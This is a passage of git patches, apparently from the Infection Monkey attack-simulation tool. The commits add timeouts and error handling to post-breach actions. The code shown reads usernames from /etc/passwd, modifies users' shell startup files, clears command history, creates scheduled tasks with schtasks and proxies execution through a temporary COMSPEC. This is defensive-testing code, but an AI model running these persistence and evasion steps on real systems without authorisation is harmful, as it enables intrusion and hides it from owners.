"sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" ], "markers": "python_version < '3.8'", - "version": "==4.0.1" + "version": "==4.1.1" }, "urllib3": { "hashes": [ - "sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed", - "sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c" + "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14", + "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.8" + "version": "==1.26.9" }, "virtualenv": { "hashes": [ - "sha256:45e1d053cad4cd453181ae877c4ffc053546ae99e7dd049b9ff1d9be7491abf7", - "sha256:e0621bcbf4160e4e1030f05065c8834b4e93f4fcc223255db2a823440aca9c14" + "sha256:1e8588f35e8b42c6ec6841a13c5e88239de1e6e4e4cedfd3916b306dc826ec66", + "sha256:8e5b402037287126e81ccde9432b95a8be5b19d36584f64957060a3488c11ca8" ], "index": "pypi", - "version": "==20.13.1" + "version": "==20.14.0" }, "vulture": { "hashes": [ From 31ae13ed0b1eaf3bda886f7eb95072435c668b05 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 31 Mar 2022 13:52:24 +0530 Subject: [PATCH 0984/1110] Agent: Add timeout to PBA base class's run() --- monkey/infection_monkey/post_breach/pba.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index ba027972e..0920513bd 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -2,6 +2,7 @@ import logging import subprocess from typing import Dict, Iterable +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.telemetry.attack.t1064_telem import T1064Telem @@ -18,7 +19,7 @@ class PBA: """ def __init__( - self, telemetry_messenger: ITelemetryMessenger, name="unknown", linux_cmd="", windows_cmd="" + self, telemetry_messenger: ITelemetryMessenger, name="unknown", linux_cmd="", windows_cmd="", timeout: int = LONG_REQUEST_TIMEOUT ): """ :param name: Name of post breach action. @@ -29,6 +30,7 @@ class PBA: self.name = name self.pba_data = [] self.telemetry_messenger = telemetry_messenger + self.timeout = timeout def run(self, options: Dict) -> Iterable[PostBreachData]: """ @@ -73,7 +75,7 @@ class PBA: """ try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, stderr=subprocess.STDOUT, shell=True, timeout=self.timeout ).decode() return output, True except subprocess.CalledProcessError as e: From 4cc57f123695fe7d3913e73d281a3406915a5a08 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 31 Mar 2022 17:29:16 +0530 Subject: [PATCH 0985/1110] Agent: Add timeouts to signed script PBA --- .../post_breach/actions/use_signed_scripts.py | 4 +++- .../signed_script_proxy/signed_script_proxy.py | 9 +++++++-- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 470e07bb1..a9224a977 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -3,6 +3,7 @@ import subprocess from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_TIMEOUT from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( cleanup_changes, @@ -21,6 +22,7 @@ class SignedScriptProxyExecution(PBA): telemetry_messenger, POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds), + timeout=MEDIUM_REQUEST_TIMEOUT, ) def run(self, options: Dict): @@ -28,7 +30,7 @@ class SignedScriptProxyExecution(PBA): try: if is_windows_os(): original_comspec = subprocess.check_output( # noqa: DUO116 - "if defined COMSPEC echo %COMSPEC%", shell=True + "if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT ).decode() super().run(options) return self.pba_data diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index 12343d8cf..56bae8b25 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,5 +1,6 @@ import subprocess +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script, @@ -16,6 +17,10 @@ def get_commands_to_proxy_execution_using_signed_script(): def cleanup_changes(original_comspec): if is_windows_os(): subprocess.run( # noqa: DUO116 - get_windows_commands_to_reset_comspec(original_comspec), shell=True + get_windows_commands_to_reset_comspec(original_comspec), + shell=True, + timeout=SHORT_REQUEST_TIMEOUT, + ) + subprocess.run( # noqa: DUO116 + get_windows_commands_to_delete_temp_comspec(), shell=True, timeout=SHORT_REQUEST_TIMEOUT ) - subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 From 9ac4d23f2883aa0bc4b41d4265c869c249d4402c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 12:04:59 +0530 Subject: [PATCH 0986/1110] Agent: Catch timeout error in PBA base class --- monkey/infection_monkey/post_breach/pba.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 0920513bd..0ef8e0ecb 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -19,7 +19,12 @@ class PBA: """ def __init__( - self, telemetry_messenger: ITelemetryMessenger, name="unknown", linux_cmd="", windows_cmd="", timeout: int = LONG_REQUEST_TIMEOUT + self, + telemetry_messenger: ITelemetryMessenger, + name="unknown", + linux_cmd="", + windows_cmd="", + timeout: int = LONG_REQUEST_TIMEOUT, ): """ :param name: Name of post breach action. @@ -78,9 +83,10 @@ class PBA: self.command, stderr=subprocess.STDOUT, shell=True, timeout=self.timeout ).decode() return output, True - except subprocess.CalledProcessError as e: - # Return error output of the command - return e.output.decode(), False + except subprocess.CalledProcessError as err: + return err.output.decode(), False + except subprocess.TimeoutExpired as err: + return str(err), False @staticmethod def choose_command(linux_cmd, windows_cmd): From df349914662ce9046ee1c27252fd4f23f8fd926c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 1 Apr 2022 11:38:25 +0300 Subject: [PATCH 0987/1110] Agent: Add timeout handling in modify shell startup PBA --- .../actions/modify_shell_startup_files.py | 16 ++++++--- .../linux/shell_startup_files_modification.py | 34 ++++++++++++------- .../shell_startup_files_modification.py | 34 ++++++++++++------- 3 files changed, 53 insertions(+), 31 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 1a78aa3f0..b6fd9e601 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -2,6 +2,7 @@ import subprocess from typing import Dict from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( @@ -21,7 +22,7 @@ class ModifyShellStartupFiles(PBA): super().__init__(telemetry_messenger, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) def run(self, options: Dict): - results = [pba.run() for pba in self.modify_shell_startup_PBA_list()] + results = [pba.run(options) for pba in self.modify_shell_startup_PBA_list()] if not results: results = [ ( @@ -70,14 +71,19 @@ class ModifyShellStartupFiles(PBA): windows_cmd=windows_cmds, ) - def run(self): + def run(self, options): if self.command: try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, + stderr=subprocess.STDOUT, + shell=True, + timeout=LONG_REQUEST_TIMEOUT, ).decode() return output, True - except subprocess.CalledProcessError as e: + except subprocess.CalledProcessError as err: # Return error output of the command - return e.output.decode(), False + return err.output.decode(), False + except subprocess.TimeoutExpired as err: + return err.output.decode(), False diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py index 63d67d208..896e50141 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py @@ -1,29 +1,37 @@ +import logging import subprocess from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) + def get_linux_commands_to_modify_shell_startup_files(): if is_windows_os(): return "", [], [] - HOME_DIR = "/home/" + home_dir = "/home/" + command = "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1" # get list of usernames - USERS = ( - subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", - shell=True, - timeout=MEDIUM_REQUEST_TIMEOUT, + try: + users = ( + subprocess.check_output( # noqa: DUO116 + command, + shell=True, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + .decode() + .split("\n")[:-1] ) - .decode() - .split("\n")[:-1] - ) + except subprocess.TimeoutExpired: + logger.error(f"Command {command} timed out") + return "", [], [] # get list of paths of different shell startup files with place for username - STARTUP_FILES = [ - file_path.format(HOME_DIR) + startup_files = [ + file_path.format(home_dir) for file_path in [ "{0}{{0}}/.profile", # bash, dash, ksh, sh "{0}{{0}}/.bashrc", # bash @@ -45,6 +53,6 @@ def get_linux_commands_to_modify_shell_startup_files(): "tee -a {0} &&", # append to file "sed -i '$d' {0}", # remove last line of file (undo changes) ], - STARTUP_FILES, - USERS, + startup_files, + users, ) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index 714596266..c52411120 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -1,3 +1,4 @@ +import logging import subprocess from pathlib import Path @@ -6,34 +7,41 @@ from infection_monkey.utils.environment import is_windows_os MODIFY_POWERSHELL_STARTUP_SCRIPT = Path(__file__).parent / "modify_powershell_startup_file.ps1" +logger = logging.getLogger(__name__) + def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): return "", [] # get powershell startup file path - SHELL_STARTUP_FILE = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] - SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\") + shell_startup_file = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] + shell_startup_file_path_components = shell_startup_file.split("\\") # get list of usernames - USERS = ( - subprocess.check_output( # noqa: DUO116 - "dir C:\\Users /b", shell=True, timeout=MEDIUM_REQUEST_TIMEOUT + command = "dir C:\\Users /b" + try: + users = ( + subprocess.check_output( # noqa: DUO116 + command, shell=True, timeout=MEDIUM_REQUEST_TIMEOUT + ) + .decode() + .split("\r\n")[:-1] ) - .decode() - .split("\r\n")[:-1] - ) - USERS.remove("Public") + users.remove("Public") + except subprocess.TimeoutExpired: + logger.error(f"Command {command} timed out") + return "", [] - STARTUP_FILES_PER_USER = [ + startup_files_per_user = [ "\\".join( - SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:] + shell_startup_file_path_components[:2] + [user] + shell_startup_file_path_components[3:] ) - for user in USERS + for user in users ] return [ "powershell.exe", str(MODIFY_POWERSHELL_STARTUP_SCRIPT), "-startup_file_path {0}", - ], STARTUP_FILES_PER_USER + ], startup_files_per_user From 7d3a6791355d9810c9128fa39a0af1c943d92362 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 1 Apr 2022 10:54:53 +0000 Subject: [PATCH 0988/1110] Agent: Fix error handling in modify_shell_startup_files.py --- .../post_breach/actions/modify_shell_startup_files.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index b6fd9e601..21d5d4372 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -84,6 +84,6 @@ class ModifyShellStartupFiles(PBA): return output, True except subprocess.CalledProcessError as err: # Return error output of the command - return err.output.decode(), False + return str(err), False except subprocess.TimeoutExpired as err: - return err.output.decode(), False + return str(err), False From 2e389cc87ea788d837278b4b8cdbc85996f98d7a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 30 Mar 2022 19:41:37 +0200 Subject: [PATCH 0989/1110] Agent: Add long timeout to clear command history PBA --- .../actions/clear_command_history.py | 22 +++++++---- .../linux_clear_command_history.py | 37 +++++++++++++------ 2 files changed, 40 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index e92185fbf..2641051cc 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -1,7 +1,8 @@ import subprocess -from typing import Dict +from typing import Dict, Iterable, Tuple from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.clear_command_history.clear_command_history import ( get_commands_to_clear_command_history, @@ -14,7 +15,7 @@ class ClearCommandHistory(PBA): def __init__(self, telemetry_messenger: ITelemetryMessenger): super().__init__(telemetry_messenger, name=POST_BREACH_CLEAR_CMD_HISTORY) - def run(self, options: Dict): + def run(self, options: Dict) -> Iterable[PostBreachData]: results = [pba.run() for pba in self.clear_command_history_pba_list()] if results: # `self.command` is empty here @@ -22,11 +23,11 @@ class ClearCommandHistory(PBA): return self.pba_data - def clear_command_history_pba_list(self): + def clear_command_history_pba_list(self) -> Iterable[PBA]: return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() class CommandHistoryPBAGenerator: - def get_clear_command_history_pbas(self): + def get_clear_command_history_pbas(self) -> Iterable[PBA]: ( cmds_for_linux, command_history_files_for_linux, @@ -52,13 +53,18 @@ class ClearCommandHistory(PBA): linux_cmd=linux_cmds, ) - def run(self): + def run(self) -> Tuple[str, bool]: if self.command: try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, + stderr=subprocess.STDOUT, + shell=True, + timeout=LONG_REQUEST_TIMEOUT, ).decode() return output, True - except subprocess.CalledProcessError as e: + except subprocess.CalledProcessError as err: # Return error output of the command - return e.output.decode(), False + return err.output.decode(), False + except subprocess.TimeoutExpired as err: + return str(err), False diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py index 642a42d5a..62442e29e 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py @@ -1,11 +1,17 @@ +import logging import subprocess +from typing import Iterable +from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) -def get_linux_commands_to_clear_command_history(): + +def get_linux_commands_to_clear_command_history() -> Iterable[str]: if is_windows_os(): - return "" + return [] TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file" @@ -20,7 +26,7 @@ def get_linux_commands_to_clear_command_history(): ] -def get_linux_command_history_files(): +def get_linux_command_history_files() -> Iterable[str]: if is_windows_os(): return [] @@ -41,17 +47,26 @@ def get_linux_command_history_files(): return STARTUP_FILES -def get_linux_usernames(): +def get_linux_usernames() -> Iterable[str]: if is_windows_os(): return [] # get list of usernames - USERS = ( - subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + try: + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", + shell=True, + timeout=LONG_REQUEST_TIMEOUT, + ) + .decode() + .split("\n")[:-1] ) - .decode() - .split("\n")[:-1] - ) - return USERS + return USERS + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error( + f"An exception occured on fetching linux usernames," + f"PBA: {POST_BREACH_CLEAR_CMD_HISTORY}: {str(err)}" + ) + return [] From 885a871be82b14021b490fc3fb30ec0900aa1b49 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 17:09:50 +0530 Subject: [PATCH 0990/1110] Agent: Add timeouts to utils/linux/users.py --- monkey/infection_monkey/utils/linux/users.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 002c63f96..df01f9f18 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -3,6 +3,7 @@ import logging import shlex import subprocess +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.utils.auto_new_user import AutoNewUser logger = logging.getLogger(__name__) @@ -43,7 +44,9 @@ class AutoNewLinuxUser(AutoNewUser): logger.debug( "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) - _ = subprocess.check_output(commands_to_add_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_add_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) def __enter__(self): return self # No initialization/logging on needed in Linux @@ -52,7 +55,7 @@ class AutoNewLinuxUser(AutoNewUser): command_as_new_user = shlex.split( "sudo -u {username} {command}".format(username=self.username, command=command) ) - return subprocess.call(command_as_new_user) + return subprocess.call(command_as_new_user, timeout=SHORT_REQUEST_TIMEOUT) def __exit__(self, _exc_type, value, traceback): # delete the user. @@ -62,4 +65,6 @@ class AutoNewLinuxUser(AutoNewUser): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) From 88788d24d0157afd2d8bae30ccd5bc0ac57395c8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 18:05:20 +0530 Subject: [PATCH 0991/1110] Agent: Add timeouts to utils/windows/users.py --- monkey/infection_monkey/utils/windows/users.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index e0da2ded3..9e3af52a1 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -1,6 +1,7 @@ import logging import subprocess +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.utils.auto_new_user import AutoNewUser from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError @@ -49,7 +50,9 @@ class AutoNewWindowsUser(AutoNewUser): windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) - _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + windows_cmds, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) def __enter__(self): try: @@ -124,7 +127,9 @@ class AutoNewWindowsUser(AutoNewUser): self.username, str(commands_to_deactivate_user) ) ) - _ = subprocess.check_output(commands_to_deactivate_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_deactivate_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -136,6 +141,8 @@ class AutoNewWindowsUser(AutoNewUser): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) From b312c509ce5bffd60a52178cf7323884450bb6af Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 18:11:55 +0530 Subject: [PATCH 0992/1110] UT: Fix tests for new user creation --- .../tests/unit_tests/infection_monkey/utils/linux/test_users.py | 2 +- .../infection_monkey/utils/windows/test_windows_users.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py index 8b0408c0a..2c079309f 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py @@ -9,7 +9,7 @@ TEST_USER = "test_user" @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr): + def mock_check_output(command, stderr, timeout): mock_check_output.command = command mock_check_output.command = "" diff --git a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py index cb5e0746b..09762fe57 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py @@ -10,7 +10,7 @@ TEST_USER = "test_user" @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr): + def mock_check_output(command, stderr, timeout): mock_check_output.command = command mock_check_output.command = "" From 7bd1ed4c677cbdc27b5bdfc675c76747fd2e5827 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 18:16:38 +0530 Subject: [PATCH 0993/1110] Agent: Catch exceptions in cleanup function of signed script PBA --- .../signed_script_proxy.py | 26 +++++++++++++------ 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index 56bae8b25..b172d1ab1 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,3 +1,4 @@ +import logging import subprocess from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT @@ -8,6 +9,8 @@ from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_prox ) from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) + def get_commands_to_proxy_execution_using_signed_script(): windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script() @@ -16,11 +19,18 @@ def get_commands_to_proxy_execution_using_signed_script(): def cleanup_changes(original_comspec): if is_windows_os(): - subprocess.run( # noqa: DUO116 - get_windows_commands_to_reset_comspec(original_comspec), - shell=True, - timeout=SHORT_REQUEST_TIMEOUT, - ) - subprocess.run( # noqa: DUO116 - get_windows_commands_to_delete_temp_comspec(), shell=True, timeout=SHORT_REQUEST_TIMEOUT - ) + try: + subprocess.run( # noqa: DUO116 + get_windows_commands_to_reset_comspec(original_comspec), + shell=True, + timeout=SHORT_REQUEST_TIMEOUT, + ) + subprocess.run( # noqa: DUO116 + get_windows_commands_to_delete_temp_comspec(), + shell=True, + timeout=SHORT_REQUEST_TIMEOUT, + ) + except subprocess.CalledProcessError as err: + logger.error(err.output.decode()) + except subprocess.TimeoutExpired as err: + logger.error(str(err)) From 6cd74453cfde31a5710625e5db76d02b29df60a3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 1 Apr 2022 13:27:31 +0200 Subject: [PATCH 0994/1110] Agent: Add timeout to scheduling jobs PBA --- .../job_scheduling/job_scheduling.py | 18 ++++++++++++++++-- .../job_scheduling/linux_job_scheduling.py | 4 +++- .../job_scheduling/windows_job_scheduling.py | 4 ++-- 3 files changed, 21 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py index a38aa815b..564622a3b 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py @@ -1,5 +1,8 @@ +import logging import subprocess +from typing import Iterable, Tuple +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( get_linux_commands_to_schedule_jobs, ) @@ -9,8 +12,10 @@ from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( ) from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) -def get_commands_to_schedule_jobs(): + +def get_commands_to_schedule_jobs() -> Tuple[Iterable[str], str]: linux_cmds = get_linux_commands_to_schedule_jobs() windows_cmds = get_windows_commands_to_schedule_jobs() return linux_cmds, windows_cmds @@ -18,4 +23,13 @@ def get_commands_to_schedule_jobs(): def remove_scheduled_jobs(): if is_windows_os(): - subprocess.run(get_windows_commands_to_remove_scheduled_jobs(), shell=True) # noqa: DUO116 + try: + subprocess.run( # noqa: DUO116 + get_windows_commands_to_remove_scheduled_jobs(), + timeout=LONG_REQUEST_TIMEOUT, + shell=True, + ) + except subprocess.CalledProcessError as err: + logger.error(f"An error occured removing scheduled jobs on Windows: {err}") + except subprocess.TimeoutExpired as err: + logger.error(f"A timeout occured removing scheduled jobs on Windows: {err}") diff --git a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py index 09a8075e0..bf6e8f335 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py @@ -1,7 +1,9 @@ +from typing import Iterable + TEMP_CRON = "$HOME/monkey-schedule-jobs" -def get_linux_commands_to_schedule_jobs(): +def get_linux_commands_to_schedule_jobs() -> Iterable[str]: return [ f"touch {TEMP_CRON} &&", f"crontab -l > {TEMP_CRON} &&", diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py index 9f44768d2..6775eefba 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py @@ -6,9 +6,9 @@ SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe" # /T1053.005.md -def get_windows_commands_to_schedule_jobs(): +def get_windows_commands_to_schedule_jobs() -> str: return f"schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}" -def get_windows_commands_to_remove_scheduled_jobs(): +def get_windows_commands_to_remove_scheduled_jobs() -> str: return f"schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1" From 9c25b3590b4a032cfde813b8b1180e99a3870c2f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 1 Apr 2022 15:03:01 +0200 Subject: [PATCH 0995/1110] Agent: User ceil on ping timeouts This is due to older version of ping which doesn't support float timeouts. It is throwing `bad linger time` Error. --- monkey/infection_monkey/network_scanning/ping_scanner.py | 3 ++- .../unit_tests/infection_monkey/network_scanning/test_ping.py | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/ping_scanner.py b/monkey/infection_monkey/network_scanning/ping_scanner.py index e286be2b2..66ae79b2a 100644 --- a/monkey/infection_monkey/network_scanning/ping_scanner.py +++ b/monkey/infection_monkey/network_scanning/ping_scanner.py @@ -80,4 +80,5 @@ def _build_ping_command(host: str, timeout: float): ping_count_flag = "-n" if "win32" == sys.platform else "-c" ping_timeout_flag = "-w" if "win32" == sys.platform else "-W" - return ["ping", ping_count_flag, "1", ping_timeout_flag, str(timeout), host] + # on older version of ping the timeout must be an integer, thus we use ceil + return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host] diff --git 